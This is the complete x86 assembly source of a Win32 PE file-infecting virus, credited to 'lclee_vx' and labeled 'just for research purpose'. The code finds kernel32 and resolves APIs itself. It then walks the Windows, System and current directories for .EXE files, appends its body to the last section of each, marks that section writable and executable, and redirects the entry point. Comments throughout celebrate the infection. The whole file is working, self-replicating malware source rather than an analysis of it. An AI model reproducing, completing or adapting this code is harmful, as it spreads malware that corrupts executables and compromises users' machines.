;---------------------
;This is the Simple PE infection
;
;Name: lee ling chuan
;NickName:lclee_vx
;Company : Scan Associates 
;Website : http://www.scan-associates.net
;Forum : http://www.prisma-mampu.gov.my/listforum.do
;the code just for research purpose
;------------------
.386p
.model flat, stdcall
option casemap:none
jumps

extrn MessageBoxA:proc
extrn ExitProcess:proc

sz_unuse equ (offset virii - offset virii_start)
MyVirusSz equ (offset virii_end - offset virii_sz)
heap_sz equ (offset heap_end - offset heap_start)
total_sz equ (MyVirusSz+heap_sz)

.data
szMessage db "this is Ring3 Virus, Just For Research Purpose", 0
szTitle db "from lclee_vx, http://www.scan-associates.net", 0

FILETIME STRUC
FT_dwLowDateTime dd ?
FT_dwHighDateTime dd ?
FILETIME ENDS

.code

virii_sz label byte

virii_start:
call virii 
pushad 
pushfd 
virii:
pop ebp 
mov eax, ebp 
sub ebp, offset virii

sub eax, sz_unuse 
sub eax, 00001000h 

now_eip equ $-4 
mov dword ptr [ebp+appbase],eax

mov esi, [esp+24] 
xor edx, edx 
call k32base 
mov dword ptr [ebp+kernel], eax 

lea edi, [ebp + @@offset_api] 
lea esi, [esi + @@name_api] 
call get_apis 
call prepare_location 
call start_infect

xchg ebp, ecx 
jecxz SetSEH 

popfd
popad

mov eax, 12345678h
org $-4
old_eip dd 00001000h

add eax, 12345678h
org $-4
appbase dd 00400000h
jmp eax

;---------------------------------
;this portion is to get the kernel32.dll address
;------------------------
k32base proc
dec esi 
cmp word ptr [esi], "ZM" 
jne k32base
mov edx, [esi+03ch] 
cmp dword ptr [edx], "EP" 
jne k32base 
cmp esi, [esi+edx+34h] 
jnz k32base
xchg eax, esi 
ret
k32base endp

;@exit:
;ret

;------------------------------
;this portion is to get the api we want to run, :) ....excited?
;--------------------------
get_apis proc
@@step_1:
push esi 
push edi 
call get_api 
pop edi
pop esi

xor al, al 
stosd 
xchg edi, esi

@@step_2:
scasb
jnz @@step_2
xchg edi, esi

@@step_3:
cmp byte ptr [esi], 0AAh
jnz @@step_1
ret
get_apis endp

get_api proc
mov edx, esi
mov edi, esi

xor al, al

@step_1: scasb 
jnz @step_1

sub edi, esi
mov ecx, edi

xor eax, eax
mov esi, 3ch 
add esi, [ebp+kernel] 
lodsd
add eax, [ebp+kernel]

mov esi, [eax+78h] 
add esi, 1ch 
add esi, [ebp+kernel]

lea edi, [ebp+Address_of_func]
lodsd 
add eax, [ebp+kernel] 
stosd

lodsd 
add eax, [ebp+kernel] 
push eax 
stosd 

lodsd 
add eax, [ebp+kernel] 
stosd 
pop esi
xor ebx, ebx 

@step_2:
lodsd 
push esi 
add eax, [ebp+kernel]
mov esi, eax 
mov edi, edx
push ecx
cld
rep cmpsb 
pop ecx
jz @step_3 
pop esi 
inc ebx
jmp @step_2 

@step_3: pop esi 
xchg eax, ebx 
shl eax, 1 
add eax, dword ptr [ebp+Address_of_ordinals]
xor esi, esi 
mov esi, eax
lodsd
shl eax, 2 
add eax, dword ptr [ebp+Address_of_func] 
mov esi, eax
lodsd
add eax, [ebp+kernel] 
ret
get_api endp

;----------------
;prepare the location to scan
;--------------------
prepare_location proc
lea edi, [ebp+WinDir]
push 7Fh
push edi
call [ebp+_GetWindowsDirectoryA]

lea edi, [ebp+SysDir]
push 7Fh
push edi
call [ebp+_GetSystemDirectoryA]

lea edi, [ebp+CurrentDir]
push edi
push 7Fh
call [ebp+_GetCurrentDirectoryA]
ret
prepare_location endp

;-----------------
;let start to scan and looking for our needed file, heheheheheh :)
;---------------
start_infect: 
lea edi, [ebp+location]
mov byte ptr [ebp+Mirror], 04h 

set_location:
push edi
call [ebp+_SetCurrentDirectoryA] 

push edi
call go_infect
pop edi

add edi, 7Fh 

dec byte ptr [ebp+Mirror]
jnz set_location
ret

go_infect proc
and dword ptr [ebp+counter], 00000000h 

; lea eax, [ebp+offset find_data] 
lea eax, [ebp+offset WIN32_FIND_DATA]
push eax
lea eax, [ebp+offset Mark] 
push eax
call [ebp+_FindFirstFileA] 

inc eax 
jz Fail 
dec eax 

mov dword ptr [ebp+SearchHandle], eax

@go_infect1: push dword ptr [ebp+old_eip] 
push dword ptr [ebp+appbase] 

call infect 

pop dword ptr [ebp+appbase]
pop dword ptr [ebp+old_eip]

inc byte ptr [ebp+counter]
cmp dword ptr [ebp+counter], 0FFFFFFFFh 
jz Fail

@go_infect2: lea edi, [ebp+WFD_szFileName] 
mov ecx, max_path 
xor al, al 
rep stosb 

; lea eax, [ebp+offset find_data] 
lea eax, [ebp+offset WIN32_FIND_DATA]
push eax 
push dword ptr [ebp+SearchHandle] 
call [ebp+_FindNextFileA] 

test eax, eax
jnz @go_infect1 
endp go_infect

ClsSeachHandle:
push dword ptr [ebp+SearchHandle]
call [ebp+_FindClose]

Fail:
ret

;-------------------
;start infect. i use the "increase the last section" technic
;------------------
infect:
lea esi, [ebp+WFD_szFileName]
push 80h
push esi
call [ebp+_SetFileAttributesA]

call open_exe
inc eax 
jz fail_open 
dec eax

mov dword ptr [ebp+FileHandle], eax 
call file_mapping 

test eax, eax
jz file_close 

mov dword ptr [ebp+MapHandle], eax 

mov ecx, dword ptr [ebp+WFD_nFileSizeLow] 
call map_view 

test eax, eax 
jz unmap_view

mov eax, dword ptr [ebp+MapAddress] 

mov esi, [eax+3ch] 
add esi, eax 
cmp dword ptr [esi], "EP" 
jz cant_infect 

cmp dword ptr [esi+4ch], "LEE" 
jz cant_infect

push dword ptr [esi+3ch] 

push dword ptr [ebp+MapAddress] 
call [ebp+_UnmapViewOfFile]

push dword ptr [ebp+MapHandle]
call [ebp+_CloseHandle] 

pop ecx 

mov eax, dword ptr [ebp+WFD_nFileSizeLow] 
add eax, MyVirusSz 
add eax, 1000h 

call ReAlign 
xchg ecx, eax 

call file_mapping
test eax, eax 
jz file_close 

mov dword ptr [ebp+MapHandle], eax

mov ecx, dword ptr [ebp+NewFileSize]
call map_view

test eax, eax 
jz unmap_view

mov dword ptr [ebp+MapAddress], eax 
mov esi, [eax+3ch] 
add esi, eax 
mov edi, esi 

mov ebx, [esi+74h] 
shl ebx, 3 
sub eax, eax 
mov ax, word ptr [esi+6h] 
dec eax 
mov ecx, 28h 
mul ecx 
add esi, 78h 
add esi, ebx
add esi, eax 

mov eax, [edi+28h] 
mov dword ptr [ebp+old_eip], eax 
mov eax, [edi+34h] 
mov dword ptr [ebp+appbase], eax 

mov edx, [esi+10h] 
mov ebx, edx 
add edx, [esi+14h] 

push edx 

mov eax, ebx 
add eax, [esi+0ch] 

mov [edi+28h], eax 
mov dword ptr [ebp+now_eip], eax

mov eax, [esi+10h] 
add eax, MyVirusSz 
mov ecx, [edi+3ch] 

call ReAlign 
mov [esi+10h], eax 
mov [esi+08h], eax 
pop edx 

mov eax, [esi+10h] 
add eax, [esi+0ch] 
mov [edi+50h], eax 

or dword ptr [esi+24h], 00000020h 
or dword ptr [esi+24h], 20000000h 
or dword ptr [esi+24h], 80000000h 

mov dword ptr [edi+4ch], "LEE" 

lea esi, [ebp+virii_start] 
xchg edi, edx 

add edi, dword ptr [ebp+MapAddress] 
mov ecx, MyVirusSz 
rep movsb
jmp unmap_view

;-----------------
;this portion we open the file 
;----------------
open_exe proc
sub eax, eax 
push eax 
push eax 
push 00000003h 
push eax
push 00000001h
push 80000000h or 40000000h
push esi
call [ebp+_CreateFileA] 

ret
open_exe endp

;-----------------------
;this portion fail to open the file, we are going to set the old file attribute
;-----------------------
fail_open proc
push dword ptr [ebp+WFD_dwFileAttributes]
lea eax, [ebp+WFD_szFileName] 
push eax
call [ebp+_SetFileAttributesA]
ret
fail_open endp

;-----------------------
;map the file into memory
;----------------------
file_mapping proc
sub eax, eax 
push eax
lea ecx, dword ptr [ebp+WFD_nFileSizeLow]
push ecx
push eax
push 00000004h 
push eax
push dword ptr [ebp+FileHandle]
call [ebp+_CreateFileMappingA]
ret
file_mapping endp

;-----------------------
;so bad, we fail to map the file
;---------------------
file_close:
push dword ptr [ebp+FileHandle]
call [ebp+_CloseHandle]

;-----------------------
;this portion start function MapViewOfFile
;----------------------
map_view proc
push ecx
push 00000000h
push 00000000h
push 00000002h
push dword ptr [ebp+MapHandle]
call [ebp+_MapViewOfFile]

ret
map_view endp

;-----------------
;this portion for error of MapViewOfFile
;------------------------
unmap_view:
push dword ptr [ebp+MapAddress]
call [ebp+_UnmapViewOfFile]

;--------------------------
;this file cannot infect and will crash the system, we need to restore back all the variable
;--------------------------
cant_infect:
dec byte ptr [ebp+counter] 
mov ecx, dword ptr [ebp+WFD_nFileSizeLow] 
call original 

;--------------------
;this portion is to reassembly the original file when detected failed infection
;----------------
original proc
push 00000000h
push 00000000h 
push ecx
push dword ptr [ebp+FileHandle]
call [ebp+_SetFilePointer] 

push dword ptr [ebp+FileHandle]
call [ebp+_SetEndOfFile] 
ret 
original endp

;----------------------
;align the infected PE file
;eax=file size, ecx=file alignment
;---------------
ReAlign proc
push edx 
sub edx, edx 
push eax
div ecx 
pop eax
sub ecx,edx
add eax,ecx
pop edx
ret
ReAlign endp

;----------------
;all the variable 
;-----------------
;appbase dd 00400000h
kernel dd ?
Mark db "*.EXE", 0
counter dd 00000000h

@@name_api label byte
@FindFisrtFileA db "FindFirstFileA", 0
@FindNextFileA db "FindNextFileA", 0
@FindClose db "FindClose", 0
@SetFileAttributesA db "SetFileAttributesA", 0
@CreateFileA db "CreateFileA", 0
@CreateFileMappingA db "CreateFileMappingA", 0
@CloseHandle db "CloseHandle", 0
@MapViewOfFile db "MapViewOfFile", 0
@SetFilePointer db "SetFilePointer", 0
@GetWindowsDirectoryA db "GetWindowsDirectoryA", 0
@GetSystemDirectoryA db "GetSystemDirectoryA", 0
@GetCurrentDirectoryA db "GetCurrentDirectoryA", 0
@SetCurrentDirectoryA db "SetCurrentDirectoryA", 0
@UnmapViewOfFile db "UnmapViewOfFile", 0
@SetEndOfFile db "SetEndOfFile", 0
db 0AAh

virii_end label byte

heap_start label byte
max_path equ 260

SearchHandle dd 00000000h
Address_of_func dd 00000000h
Address_of_ordinals dd 00000000h
FileHandle dd 00000000h
MapHandle dd 00000000h
MapAddress dd 00000000h
NewFileSize dd 00000000h

location label byte
WinDir db 7Fh dup (00)
SysDir db 7Fh dup (00)
CurrentDir db 7Fh dup (00)
Level db (($-location)/7Fh)
Mirror equ Level

@@offset_api label byte
_FindFirstFileA dd 00000000h
_FindNextFileA dd 00000000h
_FindClose dd 00000000h
_SetFileAttributesA dd 00000000h
_CreateFileA dd 00000000h
_CreateFileMappingA dd 00000000h
_CloseHandle dd 00000000h
_MapViewOfFile dd 00000000h
_SetFilePointer dd 00000000h
_GetWindowsDirectoryA dd 00000000h
_GetSystemDirectoryA dd 00000000h
_GetCurrentDirectoryA dd 00000000h
_SetCurrentDirectoryA dd 00000000h
_UnmapViewOfFile dd 00000000h
_SetEndOfFile dd 00000000h


WIN32_FIND_DATA label byte
WFD_dwFileAttributes DD ?
WFD_ftCreationTime FILETIME ?
WFD_ftLastAccessTime FILETIME ?
WFD_ftLastWriteTime FILETIME ?
WFD_nFileSizeHigh DD ?
WFD_nFileSizeLow DD ?
WFD_dwReserved0 DD ?
WFD_dwReserved1 DD ?
WFD_szFileName DB max_path DUP (?)
WFD_szAlternateFileName DB 13 DUP (?)
DB 3 DUP (?) ; dword padding

SIZEOF_WIN32_FIND_DATA EQU SIZE WIN32_FIND_DATA 

heap_end label byte
;-------------
;popup the meessage
;----------------
SetSEH:
pop dword ptr fs:[0]
add esp, 4
popad
popfd

sub eax, eax
push eax
push offset szTitle
push offset szMessage
push eax
call MessageBoxA

sub eax, eax
push eax
call ExitProcess
end virii_start

;--------------------------
;Thanks, r00t, hackerboy, billy...ur tutorial wonderful.... :)
;--------------------